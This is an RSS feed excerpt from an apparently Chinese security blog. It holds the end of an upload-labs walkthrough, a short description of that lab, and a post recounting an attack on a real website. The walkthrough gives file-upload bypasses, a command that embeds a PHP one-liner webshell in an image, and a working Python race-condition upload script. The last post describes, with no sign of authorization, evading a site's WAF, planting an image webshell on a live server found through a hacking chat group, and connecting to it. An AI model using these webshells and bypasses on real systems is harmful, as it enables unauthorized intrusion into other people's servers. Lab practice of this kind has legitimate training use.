<p>原理同<strong>Pass-11</strong>，上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成<code>../upload/12.php【二进制00】</code>形式</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/12-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/12-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-13" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-13" aria-hidden="true"></a>Pass-13</h4>
<p>绕过文件头检查，添加GIF图片的文件头<code>GIF89a</code>，绕过GIF图片检查。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-1.png" alt="" /></a></p>
<p>使用命令<code>copy normal.jpg /b + shell.php /a webshell.jpg</code>，将php一句话追加到jpg图片末尾，代码不全的话，人工补充完整。形成一个包含Webshell代码的新jpg图片，然后直接上传即可。<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.jpg">JPG一句话shell参考示例</a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-2.png" alt="" /></a></p>
<p>png图片处理方式同上。<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/webshell.png">PNG一句话shell参考示例</a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/13-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/13-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-14" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-14" aria-hidden="true"></a>Pass-14</h4>
<p>原理和示例同<strong>Pass-13</strong>，添加GIF图片的文件头绕过检查</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/14-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/14-1.png" alt="" /></a></p>
<p>png图片webshell上传同<strong>Pass-13</strong>。</p>
<p>jpg/jpeg图片webshell上传存在问题，正常的图片也上传不了，等待作者调整。</p>
<h4><a id="user-content-pass-15" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-15" aria-hidden="true"></a>Pass-15</h4>
<p>原理同<strong>Pass-13</strong>，添加GIF图片的文件头绕过检查</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/15-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/15-1.png" alt="" /></a></p>
<p>png图片webshell上传同<strong>Pass-13</strong>。</p>
<p>jpg/jpeg图片webshell上传同<strong>Pass-13</strong>。</p>
<h4><a id="user-content-pass-16" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-16" aria-hidden="true"></a>Pass-16</h4>
<p>原理：将一个正常显示的图片，上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分，将Webshell代码插在该部分，然后上传。具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。</p>
<p>这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefromgif-pass-00.gif">示例</a>。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-1.png" alt="" /></a></p>
<p>打开被渲染后的图片，Webshell代码仍然存在</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-2.png" alt="" /></a></p>
<p>提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefromjpeg-pass-LandGrey.jpg">示例文件</a>。 直接上传示例文件会触发Warning警告，并提示文件不是jpg格式的图片。但是实际上已经上传成功，而且示例文件名没有改变。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-3.png" alt="" /></a></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-4.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-4.png" alt="" /></a></p>
<p>从上面上传jpg图片可以看到我们想复杂了，程序没有对渲染异常进行处理，直接在正常png图片内插入webshell代码，然后上传<a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/webshell/bypass-imagecreatefrompng-pass-LandGrey.png">示例文件</a>即可，并不需要图片是正常的图片。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-5.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-5.png" alt="" /></a></p>
<p>程序依然没有对文件重命名，携带webshell的无效损坏png图片直接被上传成功。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/16-6.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/16-6.png" alt="" /></a></p>
<h4><a id="user-content-pass-17" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-17" aria-hidden="true"></a>Pass-17</h4>
<p>利用条件竞争删除文件时间差绕过。使用命令<code>pip install hackhttp</code>安装<a href="https://github.com/BugScanTeam/hackhttp">hackhttp</a>模块，运行下面的Python代码即可。如果还是删除太快，可以适当调整线程并发数。</p>
<pre class="lang:default decode:true " >#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

&lt;?php assert($_POST["LandGrey"])?&gt;
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
    code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
    print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()</pre>
<p>在脚本运行的时候，访问Webshell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/17-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/17-1.png" alt="" /></a></p>
<h4><a id="user-content-pass-18" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-18" aria-hidden="true"></a>Pass-18</h4>
<p>刚开始没有找到绕过方法，最后下载作者Github提供的打包环境，利用上传重命名竞争+Apache解析漏洞，成功绕过。</p>
<p>上传名字为<code>18.php.7Z</code>的文件，快速重复提交该数据包，会提示文件已经被上传，但没有被重命名。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-1.png" alt="" /></a></p>
<p>快速提交上面的数据包，可以让文件名字不被重命名上传成功。</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-2.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-2.png" alt="" /></a></p>
<p>然后利用Apache的解析漏洞，即可获得shell</p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/18-3.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/18-3.png" alt="" /></a></p>
<h4><a id="user-content-pass-19" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#pass-19" aria-hidden="true"></a>Pass-19</h4>
<p>原理同<strong>Pass-11</strong>，上传的文件名用0x00绕过。改成<code>19.php【二进制00】.1.jpg</code></p>
<p><a href="https://github.com/LandGrey/upload-labs-writeup/blob/master/image/19-1.png" target="_blank" rel="noopener"><img src="https://github.com/LandGrey/upload-labs-writeup/raw/master/image/19-1.png" alt="" /></a></p>
<h3><a id="user-content-0x03后记" class="anchor" href="https://github.com/LandGrey/upload-labs-writeup/#0x03%E5%90%8E%E8%AE%B0" aria-hidden="true"></a>0x03：后记</h3>
<p>可以发现以上绕过方法中有些是重复的，有些是意外情况，可能与项目作者的本意不符，故本文仅作为参考使用。</p>
<p>等作者修复代码逻辑后，本文也会适时更新。</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/470.html/feed</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title>upload-labs：一个帮你总结所有类型的上传漏洞的靶场</title>
		<link>/tools/469.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 24 Jul 2018 06:39:20 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[突破]]></category>
		<category><![CDATA[靶场]]></category>
		<guid isPermaLink="false">/?p=469</guid>

					<description><![CDATA[upload-labs 一个帮你总结所有类型的上传漏洞的靶场 运行环境 操作系统：推荐windows（除了Pass-19必须在linux下，其余Pass都可以在windows上运行...]]></description>
										<content:encoded><![CDATA[<h1>upload-labs</h1>
<p>一个帮你总结所有类型的<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>漏洞的<span class="wpcom_tag_link"><a href="/tags/%e9%9d%b6%e5%9c%ba" title="靶场" target="_blank">靶场</a></span></p>
<p><a href="https://github.com/c0ny1/upload-labs/blob/master/doc/mind-map.png" target="_blank" rel="noopener"><img src="https://github.com/c0ny1/upload-labs/raw/master/doc/mind-map.png" alt="" /></a></p>
<h2><a id="user-content-运行环境" class="anchor" href="https://github.com/c0ny1/upload-labs#%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83" aria-hidden="true"></a>运行环境</h2>
<pre><code>操作系统：推荐windows（除了Pass-19必须在linux下，其余Pass都可以在windows上运行）
php版本：推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件：php_gd2,php_exif（部分Pass需要开启这两个组件）
apache：以moudel方式连接
</code></pre>
<p>PS：为了节省时间，可下载<a href="https://github.com/c0ny1/upload-labs/releases">Windows下集成环境</a>，解压即可运行靶机环境。</p>
<h2><a id="user-content-使用" class="anchor" href="https://github.com/c0ny1/upload-labs#%E4%BD%BF%E7%94%A8" aria-hidden="true"></a>使用</h2>
<p>1.主界面</p>
<p><a href="https://github.com/c0ny1/upload-labs/blob/master/doc/index.jpg" target="_blank" rel="noopener"><img src="https://github.com/c0ny1/upload-labs/raw/master/doc/index.jpg" alt="主界面" /></a></p>
<p>2.每一关</p>
<p><a href="https://github.com/c0ny1/upload-labs/blob/master/doc/pass.jpg" target="_blank" rel="noopener"><img src="https://github.com/c0ny1/upload-labs/raw/master/doc/pass.jpg" alt="每一关" /></a></p>
<p>3.查看代码</p>
<p><a href="https://github.com/c0ny1/upload-labs/blob/master/doc/code.jpg" target="_blank" rel="noopener"><img src="https://github.com/c0ny1/upload-labs/raw/master/doc/code.jpg" alt="代码" /></a></p>
<h2><a id="user-content-总结" class="anchor" href="https://github.com/c0ny1/upload-labs#%E6%80%BB%E7%BB%93" aria-hidden="true"></a>总结</h2>
<p><a href="https://github.com/c0ny1/upload-labs/blob/master/doc/sum_up.png" target="_blank" rel="noopener"><img src="https://github.com/c0ny1/upload-labs/raw/master/doc/sum_up.png" alt="判断上传漏洞类型" /></a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>渗透中国某网+突破上传</title>
		<link>/web/353.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 11 Feb 2018 08:12:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[上传]]></category>
		<guid isPermaLink="false">/?p=191</guid>

					<description><![CDATA[渗透吧群里发出来的站 已经看到 95zz 等大佬成功拿下 自己也想试试 目测高权重 win2008 + iis7 + php + mysql 前台 注册 登录时的提示信息 dede...]]></description>
										<content:encoded><![CDATA[<p>渗透吧群里发出来的站 已经看到 95zz 等大佬成功拿下 自己也想试试</p>
<p><img src="/wp-content/uploads/2018/02/223917508.jpg" alt="1518335998.jpg" title="1518335998.jpg"></p>
<p>目测高权重</p>
<p><code>win2008 + iis7 + php + mysql</code></p>
<p>前台 注册<br /><img src="/wp-content/uploads/2018/02/1580419189.jpg" alt="1518336024.jpg" title="1518336024.jpg"></p>
<p>登录时的提示信息</p>
<p><img src="/wp-content/uploads/2018/02/3999615604.jpg" alt="1518336038.jpg" title="1518336038.jpg"></p>
<p>dedecms</p>
<p>个人中心 编辑资料</p>
<p><img src="/wp-content/uploads/2018/02/1109507157.jpg" alt="1518336100.jpg" title="1518336100.jpg"></p>
<p><code>ckeditor</code></p>
<p>浏览服务器<br /><img src="/wp-content/uploads/2018/02/3876585502.jpg" alt="1518336119.jpg" title="1518336119.jpg"></p>
<p>dedecms 的界面</p>
<p><span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>图片马</p>
<p><img src="/wp-content/uploads/2018/02/1944271487.jpg" alt="1518336165.jpg" title="1518336165.jpg"></p>
<p>安全狗 另外还有 360 主机卫士</p>
<p>可能是检测到了图片里的一句话</p>
<p>换成 <code>array_map</code> 类型</p>
<p><img src="/wp-content/uploads/2018/02/825959597.jpg" alt="1518336276.jpg" title="1518336276.jpg"></p>
<p>安全狗不拦截了</p>
<p>后缀改成 php<br /><img src="/wp-content/uploads/2018/02/553571287.jpg" alt="1518336298.jpg" title="1518336298.jpg"></p>
<p>无法上传</p>
<p>前期信息收集得到服务器是 windows 系统</p>
<p><code>filename</code> 改成 <code>1.php.</code></p>
<p><img src="/wp-content/uploads/2018/02/480569414.jpg" alt="1518336345.jpg" title="1518336345.jpg"></p>
<p>上传成功 但没后缀名</p>
<p>filename 改成 <code>1.php[空格]</code></p>
<p><img src="/wp-content/uploads/2018/02/852809954.jpg" alt="1518336372.jpg" title="1518336372.jpg"></p>
<p>依然无法上传</p>
<p>猜测上传检测只是单纯的进行了 <code>strpos('jpg',$filename)</code></p>
<p><code>filename</code> 改成 <code>1.jpg.php[空格]</code></p>
<p><img src="/wp-content/uploads/2018/02/2597625728.jpg" alt="1518336463.jpg" title="1518336463.jpg"></p>
<p>上传成功</p>
<p>连接<br /><img src="/wp-content/uploads/2018/02/2844500326.jpg" alt="1518336472.jpg" title="1518336472.jpg"></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
